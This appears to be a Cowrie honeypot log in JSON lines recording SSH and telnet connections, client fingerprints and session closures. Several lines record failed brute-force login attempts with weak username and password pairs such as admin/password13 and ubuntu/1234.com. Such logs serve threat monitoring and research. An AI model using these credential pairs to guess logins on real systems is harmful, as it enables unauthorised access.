{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:41.774741Z","src_ip":"186.10.86.130","session":"871f8300f7ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password13","message":"login attempt [admin/password13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:42.377542Z","src_ip":"186.10.86.130","session":"871f8300f7ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:42.382821Z","src_ip":"60.199.224.2","session":"ea66c560226a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:43.523491Z","src_ip":"186.10.86.130","session":"871f8300f7ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":33038,"dst_ip":"10.17.0.5","dst_port":22,"session":"202f0e59c8b9","protocol":"ssh","message":"New connection: 177.85.247.230:33038 (10.17.0.5:22) [session: 202f0e59c8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:45.440378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:45.445333Z","src_ip":"177.85.247.230","session":"202f0e59c8b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:45.547097Z","src_ip":"177.85.247.230","session":"202f0e59c8b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234.com","message":"login attempt [ubuntu/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:45.985176Z","src_ip":"177.85.247.230","session":"202f0e59c8b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.45715641975403,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:46.352169Z","src_ip":"38.54.119.93","session":"0686e6770f43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:47.090091Z","src_ip":"177.85.247.230","session":"202f0e59c8b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.80155920982361,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:18:52.513955Z","src_ip":"38.54.119.93","session":"4766840fe196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0115954875946,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:02.866596Z","src_ip":"190.183.203.15","session":"19bfcf4d6c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":47830,"dst_ip":"159.203.135.109","dst_port":23,"session":"3929adfa1cdf","protocol":"telnet","message":"New connection: 190.183.203.15:47830 (159.203.135.109:23) [session: 3929adfa1cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:03.287663Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37872,"dst_ip":"10.17.0.5","dst_port":23,"session":"59ef50e55e5f","protocol":"telnet","message":"New connection: 65.60.27.33:37872 (10.17.0.5:23) [session: 59ef50e55e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:08.732882Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":32768,"dst_ip":"10.17.0.5","dst_port":23,"session":"7690a8e319b7","protocol":"telnet","message":"New connection: 38.54.119.93:32768 (10.17.0.5:23) [session: 7690a8e319b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:09.547021Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":59842,"dst_ip":"10.17.0.5","dst_port":22,"session":"039fcde69190","protocol":"ssh","message":"New connection: 152.32.162.42:59842 (10.17.0.5:22) [session: 039fcde69190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:10.939547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:10.944611Z","src_ip":"152.32.162.42","session":"039fcde69190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:11.191460Z","src_ip":"152.32.162.42","session":"039fcde69190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:12.208873Z","src_ip":"152.32.162.42","session":"039fcde69190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53654,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fbdf925eb68","protocol":"telnet","message":"New connection: 192.211.53.160:53654 (159.203.135.109:23) [session: 8fbdf925eb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:12.585680Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:13.458120Z","src_ip":"152.32.162.42","session":"039fcde69190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":50524,"dst_ip":"159.203.135.109","dst_port":23,"session":"0101d807250a","protocol":"telnet","message":"New connection: 190.183.203.15:50524 (159.203.135.109:23) [session: 0101d807250a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:14.291418Z"}
{"eventid":"cowrie.session.closed","duration":7.330673694610596,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:16.877550Z","src_ip":"38.54.119.93","session":"7690a8e319b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":48038,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc332cf1d41f","protocol":"ssh","message":"New connection: 186.113.245.157:48038 (10.17.0.5:22) [session: bc332cf1d41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:17.237458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:17.242014Z","src_ip":"186.113.245.157","session":"bc332cf1d41f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:17.335328Z","src_ip":"186.113.245.157","session":"bc332cf1d41f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Admin123","message":"login attempt [deploy/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:17.726114Z","src_ip":"186.113.245.157","session":"bc332cf1d41f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:18.819686Z","src_ip":"186.113.245.157","session":"bc332cf1d41f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":34422,"dst_ip":"159.203.135.109","dst_port":22,"session":"70acf08193e0","protocol":"ssh","message":"New connection: 191.101.59.69:34422 (159.203.135.109:22) [session: 70acf08193e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:24.497838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:24.501801Z","src_ip":"191.101.59.69","session":"70acf08193e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:24.584257Z","src_ip":"191.101.59.69","session":"70acf08193e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"9999","message":"login attempt [ubuntu/9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:24.962517Z","src_ip":"191.101.59.69","session":"70acf08193e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:26.048340Z","src_ip":"191.101.59.69","session":"70acf08193e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36426,"dst_ip":"10.17.0.5","dst_port":23,"session":"50abda7c414a","protocol":"telnet","message":"New connection: 65.60.27.33:36426 (10.17.0.5:23) [session: 50abda7c414a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:33.964465Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35284,"dst_ip":"10.17.0.5","dst_port":23,"session":"b528d634e7ad","protocol":"telnet","message":"New connection: 65.60.27.33:35284 (10.17.0.5:23) [session: b528d634e7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:34.062658Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42778,"dst_ip":"159.203.135.109","dst_port":22,"session":"f99766986106","protocol":"ssh","message":"New connection: 60.199.224.2:42778 (159.203.135.109:22) [session: f99766986106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:37.620188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:37.623967Z","src_ip":"60.199.224.2","session":"f99766986106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:37.820482Z","src_ip":"60.199.224.2","session":"f99766986106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"test","message":"login attempt [demo/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:38.642789Z","src_ip":"60.199.224.2","session":"f99766986106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":8011,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaec860c7d3c","protocol":"ssh","message":"New connection: 115.68.208.117:8011 (10.17.0.5:22) [session: eaec860c7d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:38.702740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:38.707649Z","src_ip":"115.68.208.117","session":"eaec860c7d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:38.921701Z","src_ip":"115.68.208.117","session":"eaec860c7d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"232323","message":"login attempt [ubuntu/232323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:39.769130Z","src_ip":"115.68.208.117","session":"eaec860c7d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:39.842409Z","src_ip":"60.199.224.2","session":"f99766986106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:40.981591Z","src_ip":"115.68.208.117","session":"eaec860c7d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":58272,"dst_ip":"10.17.0.5","dst_port":22,"session":"0323af34b365","protocol":"ssh","message":"New connection: 14.103.127.97:58272 (10.17.0.5:22) [session: 0323af34b365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:42.496526Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37862,"dst_ip":"10.17.0.5","dst_port":23,"session":"545d2eda618f","protocol":"telnet","message":"New connection: 45.81.23.16:37862 (10.17.0.5:23) [session: 545d2eda618f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:42.500744Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37878,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ab6e9438811","protocol":"telnet","message":"New connection: 45.81.23.16:37878 (10.17.0.5:23) [session: 6ab6e9438811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:43.531449Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37896,"dst_ip":"10.17.0.5","dst_port":23,"session":"35163d695246","protocol":"telnet","message":"New connection: 45.81.23.16:37896 (10.17.0.5:23) [session: 35163d695246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:19:43.572707Z"}
